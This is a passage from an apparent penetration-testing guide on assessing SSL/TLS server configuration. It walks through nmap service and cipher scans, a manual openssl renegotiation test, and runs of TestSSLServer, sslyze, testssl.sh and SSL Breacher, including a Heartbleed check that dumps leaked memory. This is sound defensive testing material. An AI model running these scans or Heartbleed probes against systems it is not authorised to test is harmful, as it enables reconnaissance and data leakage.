* RC4 should not be used, due to crypto-analytical attacks [15].<br />
* Server should be protected from BEAST Attack [16].<br />
* Server should be protected from CRIME attack, TLS compression must be disabled [17].<br />
* Server should support Forward Secrecy [18].<br />
<br />
<br />
The following standards can be used as reference while assessing SSL servers:<br />
* PCI-DSS v2.0 in point 4.1 requires compliant parties to use "strong cryptography" without precisely defining key lengths and algorithms. Common interpretation, partially based on previous versions of the standard, is that at least 128 bit key cipher, no export strength algorithms and no SSLv2 should be used [19].<br />
* Qualys SSL Labs Server Rating Guide [14], Depoloyment best practice [10] and SSL Threat Model [20] has been proposed to standardize SSL server assessment and configuration. But is less updated than the SSL Server tool [21].<br />
* OWASP has a lot of resources about SSL/TLS Security [22], [23], [24], [25]. [26].<br />
<br />
<br />
Some tools and scanners both free (e.g. SSLAudit [28] or SSLScan [29]) and commercial (e.g. Tenable Nessus [27]), can be used to assess SSL/TLS vulnerabilities. But due to evolution of these vulnerabilities a good way to test is to check them manually with openssl [30] or use the tool’s output as an input for manual evaluation using the references.<br />
<br />
<br />
Sometimes the SSL/TLS enabled service is not directly accessible and the tester can access it only via a HTTP proxy using CONNECT method [36]. Most of the tools will try to connect to desired tcp port to start SSL/TLS handshake. This will not work since desired port is accessible only via HTTP proxy. The tester can easily circumvent this by using relaying software such as socat [37].<br />
<br />
<br />
====Example 2. SSL service recognition via nmap====<br />
<br />
The first step is to identify ports which have SSL/TLS wrapped services. Typically tcp ports with SSL for web and mail services are - but not limited to - 443 (https), 465 (ssmtp), 585 (imap4-ssl), 993 (imaps), 995 (ssl-pop).<br />
<br />
In this example we search for SSL services using nmap with “-sV” option, used to identify services and it is also able to identify SSL services [31]. Other options are for this particular example and must be customized. Often in a Web Application Penetration Test scope is limited to port 80 and 443.<br />
<br />
<pre><br />
$ nmap -sV --reason -PN -n --top-ports 100 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up, received user-set (0.20s latency).<br />
Not shown: 89 filtered ports<br />
Reason: 89 no-responses<br />
PORT STATE SERVICE REASON VERSION<br />
21/tcp open ftp syn-ack Pure-FTPd<br />
22/tcp open ssh syn-ack OpenSSH 5.3 (protocol 2.0)<br />
25/tcp open smtp syn-ack Exim smtpd 4.80<br />
26/tcp open smtp syn-ack Exim smtpd 4.80<br />
80/tcp open http syn-ack<br />
110/tcp open pop3 syn-ack Dovecot pop3d<br />
143/tcp open imap syn-ack Dovecot imapd<br />
443/tcp open ssl/http syn-ack Apache<br />
465/tcp open ssl/smtp syn-ack Exim smtpd 4.80<br />
993/tcp open ssl/imap syn-ack Dovecot imapd<br />
995/tcp open ssl/pop3 syn-ack Dovecot pop3d<br />
Service Info: Hosts: example.com<br />
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .<br />
Nmap done: 1 IP address (1 host up) scanned in 131.38 seconds<br />
</pre><br />
<br />
<br />
====Example 3. Checking for Certificate information, Weak Ciphers and SSLv2 via nmap====<br />
Nmap has two scripts for checking Certificate information, Weak Ciphers and SSLv2 [31].<br />
<br />
<pre><br />
$ nmap --script ssl-cert,ssl-enum-ciphers -p 443,465,993,995 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up (0.090s latency).<br />
rDNS record for 127.0.0.1: www.example.com<br />
PORT STATE SERVICE<br />
443/tcp open https<br />
| ssl-cert: Subject: commonName=www.example.org<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 1024<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
465/tcp open smtps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
993/tcp open imaps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
995/tcp open pop3s<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds<br />
</pre><br />
<br />
<br />
====Example 4 Checking for Client-initiated Renegotiation and Secure Renegotiation via openssl (manually)====<br />
<br />
Openssl [30] can be used for testing manually SSL/TLS. In this example the tester tries to initiate a renegotiation by client [m] connecting to server with openssl. The tester then writes the fist line of an HTTP request and types “R” in a new line. He then waits for renegotiaion and completion of the HTTP request and checks if secure renegotiaion is supported by looking at the server output. Using manual requests it is also possible to see if Compression is enabled for TLS and to check for CRIME [13], for ciphers and for other vulnerabilities. <br />
<br />
<pre><br />
$ openssl s_client -connect www2.example.com:443<br />
CONNECTED(00000003)<br />
depth=2 ******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
---<br />
Certificate chain<br />
0 s:******<br />
i:******<br />
1 s:******<br />
i:******<br />
2 s:******<br />
i:******<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
******<br />
-----END CERTIFICATE-----<br />
subject=******<br />
issuer=******<br />
---<br />
No client certificate CA names sent<br />
---<br />
SSL handshake has read 3558 bytes and written 640 bytes<br />
---<br />
New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
SSL-Session:<br />
Protocol : TLSv1<br />
Cipher : DES-CBC3-SHA<br />
Session-ID: ******<br />
Session-ID-ctx: <br />
Master-Key: ******<br />
Key-Arg : None<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
Start Time: ******<br />
Timeout : 300 (sec)<br />
Verify return code: 20 (unable to get local issuer certificate)<br />
---<br />
</pre><br />
<br />
<br />
Now the tester can write the first line of an HTTP request and then R in a new line.<br />
<pre><br />
HEAD / HTTP/1.1<br />
R<br />
</pre><br />
<br />
Server is renegotiating<br />
<pre><br />
RENEGOTIATING<br />
depth=2 C******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
</pre><br />
<br />
And the tester can complete our request, checking for response.<br />
<pre><br />
HEAD / HTTP/1.1<br />
<br />
HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource Locator (URL). Contact the server administrator. )<br />
Connection: close<br />
Pragma: no-cache<br />
Cache-Control: no-cache<br />
Content-Type: text/html<br />
Content-Length: 1792 <br />
<br />
read:errno=0<br />
</pre><br />
<br />
Even if the HEAD is not permitted, Client-intiated renegotiaion is permitted.<br />
<br />
<br />
====Example 5. Testing supported Cipher Suites, BEAST and CRIME attacks via TestSSLServer====<br />
<br />
TestSSLServer [32] is a script which permits the tester to check the cipher suite and also for BEAST and CRIME attacks. BEAST (Browser Exploit Against SSL/TLS) exploits a vulnerability of CBC in TLS 1.0. CRIME (Compression Ratio Info-leak Made Easy) exploits a vulnerability of TLS Compression, that should be disabled. What is interesting is that the first fix for BEAST was the use of RC4, but this is now discouraged due to a crypto-analytical attack to RC4 [15].<br />
<br />
<br />
An online tool to check for these attacks is SSL Labs, but can be used only for internet facing servers. Also consider that target data will be stored on SSL Labs server and also will result some connection from SSL Labs server [21].<br />
<br />
<pre><br />
$ java -jar TestSSLServer.jar www3.example.com 443<br />
Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2<br />
Deflate compression: no<br />
Supported cipher suites (ORDER IS NOT SIGNIFICANT):<br />
SSLv3<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
(TLSv1.0: idem)<br />
(TLSv1.1: idem)<br />
TLSv1.2<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA256<br />
RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA256<br />
DHE_RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
TLS_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384<br />
----------------------<br />
Server certificate(s):<br />
******<br />
----------------------<br />
Minimal encryption strength: strong encryption (96-bit or more)<br />
Achievable encryption strength: strong encryption (96-bit or more)<br />
BEAST status: vulnerable<br />
CRIME status: protected<br />
<br />
</pre><br />
<br />
<br />
====Example 6. Testing SSL/TLS vulnerabilities with sslyze====<br />
Sslyze [33] is a python script which permits mass scanning and XML output. The following is an example of a regular scan. It is one of the most complete and versatile tools for SSL/TLS testing.<br />
<br />
<pre><br />
./sslyze.py --regular example.com:443<br />
<br />
REGISTERING AVAILABLE PLUGINS<br />
-----------------------------<br />
<br />
PluginHSTS<br />
PluginSessionRenegotiation<br />
PluginCertInfo<br />
PluginSessionResumption<br />
PluginOpenSSLCipherSuites<br />
PluginCompression<br />
<br />
<br />
<br />
CHECKING HOST(S) AVAILABILITY<br />
-----------------------------<br />
<br />
example.com:443 => 127.0.0.1:443<br />
<br />
<br />
<br />
SCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443<br />
---------------------------------------------------<br />
<br />
* Compression :<br />
Compression Support: Disabled<br />
<br />
* Session Renegotiation :<br />
Client-initiated Renegotiations: Rejected<br />
Secure Renegotiation: Supported<br />
<br />
* Certificate :<br />
Validation w/ Mozilla's CA Store: Certificate is NOT Trusted: unable to get local issuer certificate<br />
Hostname Validation: MISMATCH <br />
SHA1 Fingerprint: ******<br />
<br />
Common Name: www.example.com <br />
Issuer: ******<br />
Serial Number: **** <br />
Not Before: Sep 26 00:00:00 2010 GMT <br />
Not After: Sep 26 23:59:59 2020 GMT <br />
<br />
Signature Algorithm: sha1WithRSAEncryption <br />
Key Size: 1024 bit <br />
X509v3 Subject Alternative Name: {'othername': ['<unsupported>'], 'DNS': ['www.example.com']}<br />
<br />
* OCSP Stapling :<br />
Server did not send back an OCSP response. <br />
<br />
* Session Resumption :<br />
With Session IDs: Supported (5 successful, 0 failed, 0 errors, 5 total attempts).<br />
With TLS Session Tickets: Supported<br />
<br />
* SSLV2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* SSLV3 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits HTTP 200 OK <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* TLSV1_1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-SHA socket.timeout - timed out <br />
ECDH-ECDSA-AES256-SHA socket.timeout - timed out <br />
<br />
* TLSV1_2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
ECDH-ECDSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
<br />
* TLSV1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits Timeout on HTTP GET <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: <br />
ADH-CAMELLIA256-SHA socket.timeout - timed out <br />
<br />
<br />
<br />
SCAN COMPLETED IN 9.68 S<br />
------------------------<br />
</pre><br />
<br />
<br />
====Example 7. Testing SSL/TLS with testssl.sh====<br />
Testssl.sh [38] is a Linux shell script which provides clear output to facilitate good decision making. It can not only check web servers but also services on other ports, supports STARTTLS, SNI, SPDY and does a few check on the HTTP header as well. <br />
<br />
<br />
It's a very easy to use tool. Here's some sample output (without colors):<br />
<pre><br />
user@myhost: % testssl.sh owasp.org <br />
<br />
########################################################<br />
testssl.sh v2.0rc3 (https://testssl.sh)<br />
($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $)<br />
<br />
This program is free software. Redistribution + <br />
modification under GPLv2 is permitted. <br />
USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!<br />
<br />
Note you can only check the server against what is<br />
available (ciphers/protocols) locally on your machine<br />
########################################################<br />
<br />
Using "OpenSSL 1.0.2-beta1 24 Feb 2014" on<br />
"myhost:/<mypath>/bin/openssl64"<br />
<br />
<br />
Testing now (2014-04-17 15:06) ---> owasp.org:443 <---<br />
("owasp.org" resolves to "192.237.166.62 / 2001:4801:7821:77:cd2c:d9de:ff10:170e") <br />
<br />
<br />
--> Testing Protocols<br />
<br />
SSLv2 NOT offered (ok) <br />
SSLv3 offered <br />
TLSv1 offered (ok) <br />
TLSv1.1 offered (ok) <br />
TLSv1.2 offered (ok) <br />
<br />
SPDY/NPN not offered<br />
<br />
--> Testing standard cipher lists<br />
<br />
Null Cipher NOT offered (ok) <br />
Anonymous NULL Cipher NOT offered (ok) <br />
Anonymous DH Cipher NOT offered (ok) <br />
40 Bit encryption NOT offered (ok) <br />
56 Bit encryption NOT offered (ok) <br />
Export Cipher (general) NOT offered (ok) <br />
Low (<=64 Bit) NOT offered (ok) <br />
DES Cipher NOT offered (ok) <br />
Triple DES Cipher offered<br />
Medium grade encryption offered<br />
High grade encryption offered (ok) <br />
<br />
--> Testing server defaults (Server Hello)<br />
<br />
Negotiated protocol TLSv1.2 <br />
Negotiated cipher AES128-GCM-SHA256 <br />
<br />
Server key size 2048 bit<br />
TLS server extensions: server name, renegotiation info, session ticket, heartbeat<br />
Session Tickets RFC 5077 300 seconds<br />
<br />
--> Testing specific vulnerabilities<br />
<br />
Heartbleed (CVE-2014-0160), experimental NOT vulnerable (ok) <br />
Renegotiation (CVE 2009-3555) NOT vulnerable (ok) <br />
CRIME, TLS (CVE-2012-4929) NOT vulnerable (ok) <br />
<br />
--> Checking RC4 Ciphers <br />
<br />
RC4 seems generally available. Now testing specific ciphers...<br />
<br />
Hexcode Cipher Name KeyExch. Encryption Bits<br />
--------------------------------------------------------------------<br />
[0x05] RC4-SHA RSA RC4 128<br />
<br />
RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a<br />
<br />
--> Testing HTTP Header response <br />
<br />
HSTS no <br />
Server Apache<br />
Application (None)<br />
<br />
--> Testing (Perfect) Forward Secrecy (P)FS) <br />
<br />
no PFS available <br />
<br />
Done now (2014-04-17 15:07) ---> owasp.org:443 <---<br />
<br />
user@myhost: % <br />
<br />
<br />
</pre><br />
<br />
<br />
STARTTLS would be tested via <code>testssl.sh -t smtp.gmail.com:587 smtp</code>, each ciphers with <code>testssl -e <target></code>, each ciphers per protocol with <code>testssl -E <target></code>. To just display what local ciphers that are installed for openssl see <code>testssl -V</code>. For a thorough check it is best to dump the supplied OpenSSL binaries in the path or the one of testssl.sh.<br />
<br />
<br />
The interesting thing is if a tester looks at the sources they learn how features are tested, see e.g. Example 4. What is even better is that it does the whole handshake for heartbleed in pure /bin/bash with /dev/tcp sockets -- no piggyback perl/python/you name it. <br />
<br />
<br />
Additionally it provides a prototype (via "testssl.sh -V") of mapping to RFC cipher suite names to OpenSSL ones. The tester needs the file mapping-rfc.txt in same directory.<br />
<br />
<br />
====Example 8. Testing SSL/TLS with SSL Breacher ====<br />
This tool [99] is combination of several other tools plus some additional checks in complementing most comprehensive SSL tests.<br />
It supports the following checks:<br />
#HeartBleed<br />
#ChangeCipherSpec Injection<br />
#BREACH <br />
#BEAST <br />
#Forward Secrecy support<br />
#RC4 support<br />
#CRIME & TIME (If CRIME is detected, TIME will also be reported)<br />
#Lucky13<br />
#HSTS: Check for implementation of HSTS header<br />
# HSTS: Reasonable duration of MAX-AGE <br />
# HSTS: Check for SubDomains support<br />
#Certificate expiration<br />
#Insufficient public key-length<br />
#Host-name mismatch<br />
#Weak/Insecure Hashing Algorithm (MD2, MD4, MD5, SHA1)<br />
#SSLv2 support<br />
#Weak ciphers check<br />
#Null Prefix in certificate<br />
#HTTPS Stripping<br />
#Surf Jacking<br />
#Non-SSL elements/contents embedded in SSL page<br />
#Cache-Control<br />
<br />
<br />
<pre><br />
pentester@r00ting: % breacher.sh https://localhost/login.php<br />
<br />
<br />
Host Info:<br />
==============<br />
Host : localhost<br />
Port : 443<br />
Path : /login.php<br />
<br />
<br />
<br />
Certificate Info:<br />
==================<br />
Type: Domain Validation Certificate (i.e. NON-Extended Validation Certificate)<br />
Expiration Date: Sat Nov 09 07:48:47 SGT 2019<br />
Signature Hash Algorithm: SHA1withRSA<br />
Public key: Sun RSA public key, 1024 bits<br />
modulus: 135632964843555009910164098161004086259135236815846778903941582882908611097021488277565732851712895057227849656364886898196239901879569635659861770850920241178222686670162318147175328086853962427921575656093414000691131757099663322369656756090030190369923050306668778534926124693591013220754558036175189121517<br />
public exponent: 65537<br />
Signed for: CN=localhost<br />
Signed by: CN=localhost<br />
Total certificate chain: 1<br />
<br />
(Use -Djavax.net.debug=ssl:handshake:verbose for debugged output.)<br />
<br />
=====================================<br />
<br />
Certificate Validation:<br />
===============================<br />
[!] Signed using Insufficient public key length 1024 bits<br />
(Refer to http://www.keylength.com/ for details)<br />
[!] Certificate Signer: Self-signed/Untrusted CA - verified with Firefox & Java ROOT CAs.<br />
<br />
=====================================<br />
<br />
Loading module: Hut3 Cardiac Arrest ...<br />
<br />
Checking localhost:443 for Heartbleed bug (CVE-2014-0160) ...<br />
<br />
[-] Connecting to 127.0.0.1:443 using SSLv3<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over SSLv3<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.0<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.0<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 01 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.1<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
